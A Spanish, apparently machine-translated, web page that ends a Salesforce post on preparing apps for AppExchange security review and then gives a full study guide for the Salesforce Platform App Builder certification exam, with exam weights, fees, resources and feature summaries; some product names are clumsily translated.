Solo los paquetes directamente relacionados con el envío de revisión de seguridad deben estar en la organización; de lo contrario, se rechazará el envío.

Tras el envío: comprobaciones previas a la cola

Una vez que se ha enviado un paquete, entra en un estado de cola previa donde se realizan comprobaciones para confirmar la validez del envío. Es posible que estos pasos tarden unos días en comprobarse manualmente antes de que el paquete pase a la cola oficial de SR.

  1. Paquete(s) enviado(s) correcto(s) : el paquete debe administrarse. No se permiten paquetes beta, no administrados o desbloqueados.
  2. No se enviaron otros paquetes : si hay paquetes adicionales (consulte Envío de paquetes múltiples ), proporcione una explicación detallada sobre la dependencia del paquete.
  3. El acceso a la organización de prueba está validado : 2FA/MFA debe estar deshabilitado, para que el equipo de prueba pueda iniciar sesión para probar. Del mismo modo, para una aplicación web o un sitio remoto, asegúrese de proporcionar las credenciales de trabajo.

El proceso de revisión de seguridad está diseñado para validar que ha tomado buenas decisiones sobre la higiene de los datos y ha considerado una seguridad por diseño en su aplicación. Cuanto más piense en la seguridad por diseño, más fácil será el proceso de envío. Esta publicación le brinda una ventaja sobre las cosas que debe hacer y evitar hacer para que su revisión sea un proceso lo más fluido posible.

Recursos

Sobre el Autor

Jonathan McNamee es un evangelista técnico con sede en el Reino Unido en Salesforce, que ayuda a los socios ISV a aprovechar al máximo su inversión en la plataforma de Salesforce. Tiene 20 años de experiencia en el desarrollo de soluciones de tecnología web para empresas de todos los tamaños en una variedad de industrias y ha estado trabajando en el ecosistema de Salesforce desde 2020. Sus intereses incluyen la escalabilidad, la eficiencia y la resiliencia de los sistemas. Síguelo en LinkedIn .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2023/04/prepare-your-app-to-pass-the-appexchange-security-review.html

Categories
Developers

Cómo aprobar el examen de certificación

de Salesforce Platform App Builder

Última actualización el 16 de septiembre de 2022 por Rakesh Gupta

Con inmenso placer, me gustaría compartir que aprobé el examen de certificación de Platform App Builder hace un mes. Me tomó 50 minutos revisar todas las preguntas antes de presionar el botón de enviar. Después de un clic más del botón 'Continuar', woohoo, la pantalla dice Result: Pass .

Después de terminar, pensé en compartir algunas de mis experiencias con respecto a mi preparación para el examen.

👉 Ya que está aquí, es posible que desee consultar mi nuevo libro Certificación del creador de aplicaciones de la plataforma Salesforce: una guía práctica de estudio .

Entonces, ¿quién es un candidato ideal para el examen?

La credencial de Salesforce Platform App Builder está destinada a una persona con experiencia en el desarrollo de aplicaciones personalizadas en Lightning Platform, incluida la aplicación práctica de las habilidades y conceptos que se indican en los objetivos del examen a continuación.

El creador de aplicaciones de la plataforma Salesforce generalmente tiene de 6 meses a 1 año de experiencia en la creación de aplicaciones en la plataforma Lightning y/o en una plataforma de tecnología similar.

El candidato de Salesforce Platform App Builder tiene la experiencia, las habilidades y los conocimientos que se describen a continuación:

  • Familiaridad con las capacidades de la plataforma Lightning
  • Conocimiento de los tipos de licencia de Salesforce y consideraciones relacionadas
  • Capacidad para diseñar aplicaciones para respaldar los procesos comerciales y los requisitos de informes
  • Familiaridad con las capacidades y la personalización utilizadas para mejorar la experiencia del usuario móvil
  • Familiaridad con los entornos de desarrollo de Salesforce y las opciones disponibles para implementar aplicaciones y administrar cambios en la Plataforma Lightning
  • Comprensión de los recursos enumerados en esta guía de examen y los materiales de estudio adicionales requeridos proporcionados por Salesforce

No se espera que un candidato para este examen pueda administrar Sales Cloud o Service Cloud, tener experiencia en desarrollo programático (Apex, Visualforce, etc.), diseñar interfaces personalizadas con Visualforce o diseñar componentes Lightning personalizados con Apex o JavaScript.

¿Cómo prepararse para el examen?

El punto de partida para mí con cualquier examen es la Guía de estudio. Esto le brinda detalles del propósito y el formato del examen y luego un resumen punto por punto de las áreas en las que se evaluará y cuánto cuentan para la calificación general.

  • 60 preguntas de opción múltiple/selección múltiple: 105 minutos
  • 63% es el puntaje de aprobación
  • Secciones de examen y ponderación
    • Fundamentos de Salesforce : 23%
    • Modelado y gestión de datos: 22%
    • Lógica de Negocios y Automatización de Procesos : 28%
    • Interfaz de usuario: 17%
    • Implementación de la aplicación : 10 %
  • La tarifa del examen es de $ 200 más los impuestos aplicables.
  • Tarifa de repetición: USD 100, más impuestos aplicables según lo exija la ley local
  • Guía del examen de certificación de Platform App Builder
  • Programa tu examen de certificación aquí

Lo que suceda a continuación depende de cómo le guste estudiar: si encuentra videos de la mejor manera, el principal catálogo de capacitación en línea tiene un excelente material, que incluye preguntas de verificación de conocimientos para ver si algo se mantiene. Si no tiene acceso a eso, hay una gran cantidad en el canal de Salesforce en YouTube.

Soy un gran admirador de la palabra escrita, por lo que generalmente me dirijo a la ayuda en línea y voy directamente a la sección Hojas de consejos imprimibles y guías del usuario . Esta colección de documentos breves lo guía a través de la configuración y el uso de varios aspectos del sistema.

La siguiente lista no es exhaustiva; así que échale un vistazo y utilízalo como punto de partida:

  1. Descubra la certificación de asociado de Salesforce: una credencial de nivel de entrada para los nuevos pioneros
  2. Trailmix: Prepárese para su credencial de creador de aplicaciones de la plataforma Salesforce
  3. Módulo : estudio para el examen de Platform App Builder
  4. Superbadge : Especialista en seguridad
  5. Superbadge : Especialista en Automatización de Procesos
  6. Superbadge : Especialista en personalización de aplicaciones

Lo que necesita saber para suavizar su viaje

En un nivel muy alto, debe comprender los siguientes temas para aprobar el examen. Todo el mérito es para el equipo de Salesforce Trailhead y sus respectivos propietarios.

  1. Fundamentos de Salesforce : 23%
    1. Salesforce proporciona objetos y campos estándar para tipos de registros comerciales comunes, como cuentas, clientes potenciales y contactos. Pero cada organización es única y necesita una forma de personalizar cómo se almacenan los datos. Los objetos y campos personalizados permiten a las empresas gestionar y almacenar datos para adaptarse mejor a sus necesidades.
    2. Una aplicación Lightning es una colección de elementos que funcionan juntos para cumplir una función particular. En Lightning Experience, las aplicaciones Lightning brindan a sus usuarios acceso a conjuntos de objetos, pestañas y otros elementos, todo en un paquete conveniente en la barra de navegación.
    3. Entonces, ¿qué cosas puedes poner en una aplicación Lightning?
      1. La mayoría de los objetos estándar, incluidos Inicio, las noticias en tiempo real de Chatter, Grupos y Personas
      2. Los objetos personalizados de su organización
      3. Pestañas de Visualforce
      4. Pestañas de componentes Lightning
      5. Aplicaciones de lienzo a través de pestañas de Visualforce
      6. pestañas web
    4. Puede ver en el Administrador de aplicaciones que hay dos tipos de aplicaciones: Classic y Lightning. Una marca de verificación en la columna Visible en Lightning Experience significa que se puede acceder a la aplicación en Lightning Experience a través del Iniciador de aplicación y que es totalmente funcional.
      1. Las aplicaciones clásicas que no tienen una marca de verificación en la columna Visible en Lightning solo están habilitadas para nuestra IU de Salesforce Classic. Debido a que está trabajando en Lightning Experience, no encontrará esas aplicaciones solo clásicas en el Iniciador de aplicación. Las aplicaciones clásicas marcadas como visibles en Lightning Experience se pueden usar por completo en Lightning Experience, pero no aprovechan las mejoras de aplicaciones que ofrece Lightning Experience.
    5. Los diseños compactos controlan qué campos ven sus usuarios en el panel de aspectos destacados en la parte superior de un registro. También controlan los campos en la tarjeta de búsqueda expandida que ve cuando pasa el mouse sobre un enlace en los detalles del registro y en la sección de detalles cuando expande la actividad en la escala de tiempo de la actividad.
      1. Los diseños compactos ayudan a que su equipo sea más productivo al presentarles información de registro clave para que puedan administrar fácilmente su trabajo. Por ejemplo, muestre números de teléfono y regiones en una cuenta. O muestre etapas, cantidades y campos de propiedad en una oportunidad. Con diseños compactos, puede resaltar lo que sus usuarios necesitan ver de un vistazo cuando miran un registro.
    6. Las páginas Lightning son una colección de componentes Lightning organizados en regiones de la página. Puede personalizar la estructura de la página y la posición de los componentes con Lightning App Builder (obtenga más información en el módulo Lightning App Builder en Trailhead).
    7. Los vínculos personalizados pueden vincular a una URL externa, como http://www.google.com , una página de Visualforce o la intranet de su empresa. Los botones personalizados pueden conectar a los usuarios a aplicaciones externas, como páginas web, y lanzar enlaces personalizados.
      1. Hay tres tipos principales de botones y enlaces personalizados que puede crear.
        1. Botón Lista: aparece en una lista relacionada en una página de registro de objetos.
        2. Vínculo de la página de detalles: aparece en la sección Vínculos de los detalles del registro en una página de registro de objeto.
        3. Botón de página de detalles: aparece en el menú de acciones en el panel de aspectos destacados de una página de registro.
      2. Un botón de lista personalizada es un botón que puede agregar a una lista relacionada. Cuando crea un botón de lista para un objeto, puede agregar ese botón a la lista relacionada de ese objeto cuando la lista relacionada aparece en otros objetos. Dado que las auditorías energéticas están vinculadas a cuentas con un campo de relación de búsqueda, aparece automáticamente una lista relacionada con las auditorías energéticas en los registros de cuentas.
    8. Las acciones permiten a los usuarios realizar tareas rápidamente, como crear registros, registrar llamadas, enviar correos electrónicos y más. Con acciones personalizadas, puede hacer que la navegación y el flujo de trabajo de sus usuarios sean lo más fluidos posible al brindarles acceso rápido a la información más importante.
      1. Las acciones rápidas vienen en dos sabores diferentes.
        1. Las acciones específicas de objetos tienen relaciones automáticas con otros registros y permiten a los usuarios crear o actualizar rápidamente registros, registrar llamadas, enviar correos electrónicos y más, en el contexto de un objeto en particular.
        2. Las acciones globales se crean en un lugar diferente de la Configuración en el que se crean acciones específicas de objetos. Se denominan acciones globales porque se pueden colocar en cualquier lugar donde se admitan acciones. Use acciones globales para permitir que los usuarios registren detalles de llamadas, creen registros o envíen correos electrónicos sin salir de la página en la que se encuentran.
    9. Service Cloud es una aplicación de servicio al cliente fácil de usar que puede ayudarlo a brindar y realizar un seguimiento de un servicio excelente. Mantiene a sus clientes contentos y a su equipo de soporte cuerdo, ya sea que sus clientes se comuniquen con usted por correo electrónico, teléfono, redes sociales u otros canales desde computadoras de escritorio, dispositivos móviles o aplicaciones.
    10. Beneficios de la Consola de servicio
      Beneficio Descripción
      (1) Vistas divididas Desde el principio, puede ver una lista de casos junto con su espacio de trabajo para resolver rápidamente los problemas de los clientes entrantes.
      (2) Registros relacionados y componentes de listas relacionadas Desde el primer momento, puede ver información relacionada con un cliente para obtener una imagen completa de su problema y quiénes son. Vaya a listas de casos similares y trabaje con listas para mantener sus casos organizados.
      (3) Componente del panel de aspectos destacados Sin configurar nada, localice exactamente lo que necesita al frente y al centro para responder a los clientes rápidamente.
      (4) Caja de alimentación compacta Comprenda la progresión del caso y el historial del caso de un vistazo con un feed de noticias y páginas preconfiguradas. Los íconos coloridos lo ayudan a distinguir entre personas e interacciones al instante, y puede agregar un comentario rápido para ayudar a sus clientes o equipo.
      (5) Componente de conocimiento Vea artículos sugeridos de su base de conocimiento para resolver casos más rápido, busque artículos para encontrar exactamente lo que necesita y adjunte soluciones comunes de casos similares. (Debe habilitar Lightning Knowledge primero).
      (6) Barra de utilidades preconfigurada Aumente la productividad con herramientas, como Notas para anotar cosas o Historial para volver a los registros vistos recientemente.
    11. La gestión de casos significa organizar los casos de los clientes en un solo lugar y asegurarse de que vayan a la persona adecuada, para obtener la respuesta correcta, en el momento adecuado. Service Cloud hace todo eso entre bastidores con herramientas de automatización. El servicio es más fácil, más rápido y mejor con un poco de automatización.
      1. Herramientas de gestión de casos en Salesforce
        Colas Priorice automáticamente la carga de trabajo de su equipo de soporte mediante la creación de listas desde las cuales los agentes específicos pueden intervenir para resolver ciertos tipos de casos.
        Reglas de asignación Asigne automáticamente casos entrantes a agentes específicos para que las personas adecuadas trabajen en los casos correctos.
        Reglas de escalada Escalar automáticamente los casos a las personas adecuadas cuando los casos no se resuelvan en un tiempo determinado.
        Reglas de respuesta automática Envíe automáticamente respuestas de correo electrónico personalizadas a los clientes según los detalles de cada caso.
    12. Plan para la automatización de casos: las respuestas determinan qué herramientas utilizará para automatizar la gestión de casos.
      Pregunta Responder Herramienta
      ¿Los agentes de soporte trabajan en equipo en temas específicos? Sí, algunos agentes elaboran una lista de correos electrónicos a medida que llegan de los clientes. Colas
      ¿Cómo está estructurado el equipo de soporte? Contamos con equipos de soporte Gold y Platinum. El soporte Platinum comparte una carga de trabajo. colas o

      Reglas de asignación

      ¿Los agentes de soporte trabajan en productos específicos o tienen habilidades especiales? Algunos agentes trabajan en la instalación de paneles solares mientras que otros trabajan en el rendimiento de los paneles solares. Reglas de asignación
      ¿Los casos deben escalarse a alguien si no se resuelven en un tiempo específico? Sí, no podemos hacer que los clientes esperen más de 5 horas para resolver sus problemas. Reglas de escalada
      ¿Los clientes deben recibir respuestas automáticas? Sí, queremos que los clientes sepan que recibimos su problema y que nos preocupamos por ellos. Reglas de respuesta automática
    13. Plan de compromiso digital
      Pregunta Responder
      ¿Cuál es el tamaño máximo de los archivos adjuntos de correo electrónico admitidos? Menos de 25 MB está bien.
      ¿Los correos electrónicos salientes de Salesforce deben enrutarse a través de los servidores de correo electrónico de Ursa Major Solar por razones de seguridad o cumplimiento? No, los correos electrónicos salientes pueden enrutarse a través de Salesforce.
      ¿El servicio de atención al cliente utiliza plantillas de correo electrónico y, de ser así, existen requisitos de marca? No, no usamos plantillas de correo electrónico, pero deberíamos hacerlo en el futuro para mantener la coherencia. También deberíamos agregar nuestro logotipo a las plantillas de correo electrónico en algún momento.
      ¿Podemos agregar un fragmento de código al sitio web de nuestro cliente para mostrar un formulario web? Si no hay problema.
      ¿Necesitamos crear campos de casos personalizados para capturar información para el formulario web? No, no ahora. Veamos cómo funciona esto primero.
    14. Opciones de interacción digital con Service Cloud.
      Voz, Call Center y Open CTI Aumente la productividad del teléfono mediante la integración de Salesforce con sistemas de integración de telefonía informática (CTI) de terceros. Vea los datos de Salesforce para las llamadas entrantes, realice llamadas salientes directamente desde la consola e informe sobre el resultado de la llamada, la duración y más.
      Centro de ayuda de autoservicio Ayude a los clientes a encontrar respuestas, registrar casos y actualizar pedidos por su cuenta desde experiencias web de autoservicio. Personalice, cree y marque centros de ayuda con plantillas, componentes y aplicaciones fáciles de usar.
      Atención al cliente en redes sociales Ayude a los agentes de soporte a escuchar, responder y registrar casos para clientes en plataformas sociales como Twitter, Instagram, Facebook y más. Use palabras clave, clasificadores y detección de idioma para asegurarse de que los agentes encuentren las publicaciones correctas y trabajen en los problemas correctos.
      Chat y servicio integrado Interactúe con los clientes que navegan por la web con chat en vivo en tiempo real. Integre rápidamente capacidades de chat discretas en los sitios web de la empresa para navegadores móviles y de escritorio para permitir que los clientes conversen con los agentes y desvíen los casos antes de que se registren.
      Complementos para Mobile & Visual Remote Assistant Agregue servicio a las aplicaciones móviles para que los clientes puedan obtener ayuda de las aplicaciones en teléfonos y tabletas. Con un SDK (kit de desarrollo de software), los desarrolladores pueden permitir que los clientes creen y administren casos, chateen en vivo con agentes de soporte, chaten por video y compartan pantalla con agentes (Visual Remote Assistant) y vean artículos de la base de conocimientos sobre la marcha.
      Mensajería Interactúe con los clientes utilizando aplicaciones de mensajería como texto SMS y Facebook Messenger, para que puedan conectarse con los agentes de soporte al instante desde cualquier lugar. Ayude a los agentes a administrar varias conversaciones de texto a la vez y ver cada texto junto con los datos relevantes de Salesforce.
      Servicio de campo Apoye las visitas in situ en el campo con soluciones móviles como horarios de trabajo, inventario de camionetas y más, con o sin conexiones web.
    15. Las soluciones de AppExchange son la forma rápida y sencilla de ampliar la funcionalidad principal de Salesforce. Hay algo para cada desafío empresarial.
      Escribe Descripción
      aplicaciones Aplicaciones completas y especializadas
      Componentes Bloques de construcción utilizados para agregar funcionalidad a páginas, aplicaciones y soluciones Bolt
      Soluciones de pernos Soluciones industriales combinadas con servicios de socios
      Datos de rayos Datos de terceros para enriquecer sus datos de CRM
      Soluciones de flujo Acciones de flujo: elementos independientes que agregan funcionalidad a los flujos de proceso
      Plantillas de flujo: procesos comerciales preconstruidos, integrales, configurables y adaptados para adaptarse a casos de uso específicos de la industria
      Consultores Expertos que poseen un profundo conocimiento de la industria y habilidades comprobadas de Salesforce
    16. Las soluciones de AppExchange tienen varias cosas en común. Ellos:
      1. Ampliar la funcionalidad de Salesforce.
      2. Se puede distribuir a otros.
      3. Ejecutar en la plataforma Salesforce.
      4. Acelere el desarrollo de soluciones.
    17. Todas las soluciones de AppExchange comparten algunas cualidades importantes.
      1. Fácil de instalar : miles de soluciones se instalan con solo unos pocos clics.
      2. Fácil de configurar : integre y configure soluciones con clics, no con código.
      3. Revisión por pares : hay más de 80 000 revisiones por pares de las soluciones de AppExchange.
      4. Seguridad probada : para aparecer en AppExchange, cada solución pasa una revisión de seguridad rigurosa.
    18. Puede administrar el acceso a nivel de registro de estas cuatro maneras.
      1. Los valores predeterminados de toda la organización especifican el nivel predeterminado de acceso que los usuarios tienen a los registros de los demás. Utiliza la configuración de uso compartido de toda la organización para bloquear sus datos al nivel más restrictivo y luego usa las otras herramientas de seguridad y uso compartido a nivel de registro para otorgar acceso de forma selectiva a otros usuarios.
      2. Las jerarquías de funciones otorgan acceso a los usuarios que se encuentran más arriba en la jerarquía a todos los registros que pertenecen a los usuarios que se encuentran por debajo de ellos en la jerarquía. Las jerarquías de roles no tienen que coincidir exactamente con su organigrama. En su lugar, cada rol en la jerarquía debe representar un nivel de acceso a los datos que necesita un usuario o grupo de usuarios.
      3. Las reglas de colaboración son excepciones automáticas a los valores predeterminados de toda la organización para grupos particulares de usuarios, por lo que pueden acceder a registros que no son de su propiedad o que normalmente no pueden ver. Las reglas de colaboración, como las jerarquías de funciones, solo se utilizan para dar acceso a los registros a usuarios adicionales. No pueden ser más estrictos que la configuración predeterminada de toda su organización.
      4. El uso compartido manual permite a los propietarios de registros particulares compartirlos con otros usuarios. Aunque el uso compartido manual no está automatizado como la configuración de uso compartido en toda la organización, las jerarquías de roles o las reglas de uso compartido, puede ser útil en algunas situaciones, como cuando un reclutador que se va de vacaciones necesita asignar temporalmente la propiedad de una solicitud de empleo a otra persona.
    19. La auditoría proporciona información importante para diagnosticar posibles problemas de seguridad o tratar problemas reales. Alguien en su organización debe auditar regularmente para detectar posibles abusos. Busque cambios inesperados o patrones de uso.
      1. Campos de modificación de registros: todos los objetos incluyen campos para almacenar el nombre del usuario que creó el registro y quién lo modificó por última vez. Esto proporciona alguna información básica de auditoría.
      2. Historial de inicio de sesión: puede revisar una lista de intentos de inicio de sesión exitosos y fallidos durante los últimos seis meses. Para obtener más información, consulte Supervisar el historial de inicio de sesión .
      3. Seguimiento del historial de campos: puede activar la auditoría para realizar un seguimiento automático de los cambios en los valores de los campos individuales. Aunque la auditoría a nivel de campo está disponible para todos los objetos personalizados, solo algunos objetos estándar la permiten. Para obtener más información, consulte Seguimiento del historial de campos .
      4. Pista de auditoría de configuración: la Pista de auditoría de configuración registra cuándo se realizan modificaciones en la configuración de su organización. Para obtener más información, consulte Supervisar cambios en la configuración .
    20. Salesforce Identity le permite brindar a las personas adecuadas el acceso correcto a los recursos correctos en el momento correcto. Usted controla quién puede acceder a sus organizaciones y quién puede utilizar las aplicaciones que se ejecutan en Salesforce Platform, localmente, en otras nubes y en dispositivos móviles.
    21. Las principales características de Salesforce Identity.
      1. Inicio de sesión único
      2. Aplicaciones conectadas
      3. Inicio de sesión social
      4. Autenticación multifactor
      5. Mi dominio
      6. Gestión centralizada de cuentas de usuario
      7. Aprovisionamiento de usuarios
      8. Lanzador de aplicaciones
    22. Estos son los tres protocolos que siguen Salesforce y otros proveedores de identidad para implementar soluciones de identidad.
      1. SAML
      2. Autenticación automática 2.0
      3. Conexión de identificación abierta
    23. Especialista en paneles e informes de Lightning Experience
    24. La aplicación móvil Salesforce es una aplicación de clase empresarial que brinda a sus usuarios acceso instantáneo a los datos de CRM de su empresa desde un teléfono o tableta. Estas son algunas de las razones por las que la aplicación es tan increíble.
      1. La aplicación móvil se incluye con cada licencia de Salesforce. Sí, nos has oído bien, es gratis. Aplazar la implementación de su dispositivo móvil es básicamente como prender fuego a montones de dinero.
      2. La aplicación es plug-and-play , lo que significa que los usuarios simplemente la descargan de App Store® o Google Play™ y listo. Funciona fuera de la caja sin necesidad de configuración. Es muy rápido, en serio. En el tiempo que le tomó leer este párrafo, es posible que ya haya instalado la aplicación e iniciado sesión.
      3. La aplicación es multiplataforma , por lo que se ejecuta en los sistemas operativos Android e iOS. Automáticamente, sin que tengas que hacer ningún trabajo de desarrollo.
      4. La aplicación tiene capacidades fuera de línea. Sus usuarios móviles no se verán afectados por señales celulares caprichosas, regulaciones de la FAA, viajes en metro o edificios estilo búnker.
      5. Funciona a la perfección con la versión de escritorio de Lightning Experience , por lo que los usuarios pueden cambiar entre los dos sin perder el ritmo.
      6. No es solo una aplicación. es una plataforma Debido a que la plataforma Salesforce impulsa la aplicación móvil, es infinitamente personalizable. Puede usar herramientas de apuntar y hacer clic para personalizarlo.
    25. Tres características que puede usar para personalizar la aplicación móvil.
      1. Acciones rápidas
      2. Diseños compactos
      3. Navegación móvil, para aplicaciones Lightning y la aplicación Solo móvil
  2. Modelado y gestión de datos: 22%
    1. Los clientes potenciales son personas y empresas que ha identificado como clientes potenciales. Puede encontrar clientes potenciales de varias maneras. Muchos de sus clientes potenciales pueden ser referidos por otros clientes satisfechos. También puede recopilar clientes potenciales cuando los clientes se comuniquen con usted en su sitio web, pasen por su stand en una conferencia o mediante intercambios de información con empresas asociadas. En Salesforce, la información sobre prospectos se almacena en registros de prospectos.
      1. Algunas grandes ventajas de usar clientes potenciales. Puede realizar un mejor seguimiento, generar informes y orientar las campañas de marketing a clientes potenciales. Los clientes potenciales pueden ayudarlo a concentrarse en los tratos potenciales que tienen más probabilidades de cerrarse.
    2. Utilice el espacio de trabajo para realizar un seguimiento de las interacciones con los clientes potenciales, consultar el historial de campañas y planificar actividades futuras.
      1. Si el cliente potencial está involucrado en alguna campaña de marketing, se enumeran en el Historial de campañas para el cliente potencial.
      2. Revise la pestaña Detalles del cliente potencial para encontrar y actualizar la información sobre el cliente potencial.
      3. Use la pestaña Actividad del cliente potencial para registrar sus llamadas y correos electrónicos para ayudarlo a recordar de qué hablaron y cómo respondió el cliente potencial: planifique para el futuro creando Tareas o Eventos .
      4. Use la pestaña Noticias del cliente potencial para consultar las últimas noticias de la industria del cliente potencial. Inicie sesión con su cuenta de Twitter para buscar y seguir el feed de Twitter del cliente potencial.
      5. Conéctese con sus compañeros de trabajo para hacer preguntas, buscar consejos o proporcionar información en la pestaña de Chatter del cliente potencial. Las noticias en tiempo real de Chatter para el registro también se muestran cuando crea actividades.
    3. Puede convertir el registro de prospecto en una oportunidad cuando califica un prospecto. Luego, trabaja su oportunidad hasta que cierra el trato, ya sea completándolo o cancelándolo.
      1. Cuando convierte un prospecto, Salesforce usa la información almacenada en el registro del prospecto para crear una cuenta comercial, un contacto y una oportunidad. Si habilitó cuentas personales y el registro de cliente potencial no incluía el nombre de una empresa, el cliente potencial se convierte en una cuenta personal y una oportunidad.
  3. Lógica de Negocios y Automatización de Procesos : 28%
  4. Interfaz de usuario: 17%
    1. Lightning App Builder es una herramienta de apuntar y hacer clic que facilita la creación de páginas personalizadas para la aplicación móvil Salesforce y Lightning Experience, brindando a sus usuarios todo lo que necesitan en un solo lugar.
    2. Con Lightning App Builder, puede crear:
      1. Aplicaciones de una sola página que profundizan en páginas estándar
      2. Aplicaciones de estilo de panel, como aplicaciones para realizar un seguimiento de las principales perspectivas de ventas o clientes potenciales clave para el trimestre
      3. Aplicaciones de "punto" para resolver una tarea en particular, como una aplicación de gastos para que los usuarios ingresen los gastos y controlen los gastos que han enviado.
      4. Páginas de registro personalizadas para sus objetos, adaptadas a las necesidades de sus usuarios
      5. Páginas de inicio personalizadas que contienen los componentes y funciones que sus usuarios utilizan más
    3. Las páginas Lightning admiten estos componentes:
      1. Componentes estándar: los componentes estándar son componentes Lightning creados por Salesforce.
      2. Componentes personalizados: los componentes personalizados son componentes Lightning que usted o alguien más ha creado. Puede configurar componentes Lightning personalizados para que funcionen en Lightning App Builder.
      3. Componentes de terceros en AppExchange : AppExchange proporciona un mercado para componentes Lightning. Puede encontrar paquetes que contienen componentes ya configurados y listos para usar en Lightning App Builder.
    4. Puede crear diferentes tipos de páginas Lightning con Lightning App Builder. Vamos a ver estos tres tipos.
      1. Página de aplicación : use una página de aplicación para crear una página de inicio para una aplicación de terceros que puede agregar directamente a los menús de navegación de la aplicación móvil Salesforce y Lightning Experience. Luego, sus usuarios tienen una página de inicio de la aplicación donde pueden acceder rápidamente a los objetos y elementos más importantes.
      2. Página de inicio: cree páginas de inicio con características relevantes para tipos específicos de usuarios y asigne las páginas personalizadas a diferentes aplicaciones o combinaciones de aplicación y perfil de usuario. Las páginas de inicio personalizadas solo se admiten en Lightning Experience.
      3. Página de registro : con una página de registro, puede crear una versión personalizada de la página de registro de un objeto, adaptándola a las necesidades de sus usuarios. Las páginas de registro personalizadas se admiten en Lightning Experience y en la aplicación móvil Salesforce.
    5. También puede personalizar la página para diferentes tipos de usuarios y asignar páginas personalizadas a diferentes aplicaciones y combinaciones de aplicaciones y perfiles.
    6. Tienes cuatro opciones para activar la página de registro de rayos.
      • Haga que la página sea la organización predeterminada para el objeto.
      • Convierta la página en la página de registro de objetos predeterminada para aplicaciones Lightning específicas.
      • Asigne la página a una combinación de aplicaciones Lightning, tipos de registros y perfiles.
      • Asigne la página a un factor de forma, como una computadora de escritorio o un teléfono.
    7. Puede crear un componente Lightning personalizado utilizando dos modelos de programación, componentes web Lightning y componentes Aura.
    8. Sus componentes Lightning personalizados no funcionan automáticamente en páginas Lightning o en Lightning App Builder. Para que un componente personalizado se pueda utilizar en ambos, debe configurar el componente y su paquete de componentes para que sean compatibles con Lightning App Builder y páginas Lightning.
  5. Implementación de la aplicación : 10 %

Recursos adicionales

Algunos blogs lo ayudan a prepararse para el examen de Salesforce Certified Platform App Builder.

  1. Libro: Certificación de Salesforce Platform App Builder: una guía de estudio práctica .
  2. Regístrese en el seminario web de días de certificación de Salesforce para: certificación de Platform App Builder
  3. Capacitación de instructores principales por Trailhead
    1. Trailhead Virtual Bootcamp para Platform App Builder (TVB403)
    2. Prepárese para su examen de certificación de Platform App Builder (CRT403)
    3. Desarrollo declarativo para creadores de aplicaciones de plataforma ampliado (DEX-403E)

Conclusión

Si tiene experiencia básica con todos los temas anteriores, aprobar el examen será pan comido y podrá obtener el codiciado examen de certificación Salesforce Certified Platform App Builder. Sin embargo, si no tiene suficiente experiencia (6 a 9 meses) con la plataforma de Salesforce y planea convertirse en un Creador de aplicaciones de plataforma certificado. Le sugiero que dibuje un plan de 6 a 9 meses (finalice el Trailhead anterior para prepararse).

Espero que encuentre útiles estos consejos y recursos. Si pones el tiempo y el esfuerzo, tendrás éxito. ¡Feliz estudio y buena suerte!

Evaluación formativa:

¡Quiero saber de ti!

¿Ha realizado el examen de creación de aplicaciones de plataforma certificada de Salesforce? ¿Te estás preparando para el examen ahora? ¡Comparte tus consejos en los comentarios!

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://automationchampion.com/2022/09/16/salesforce-platform-app-builder-certification-exam/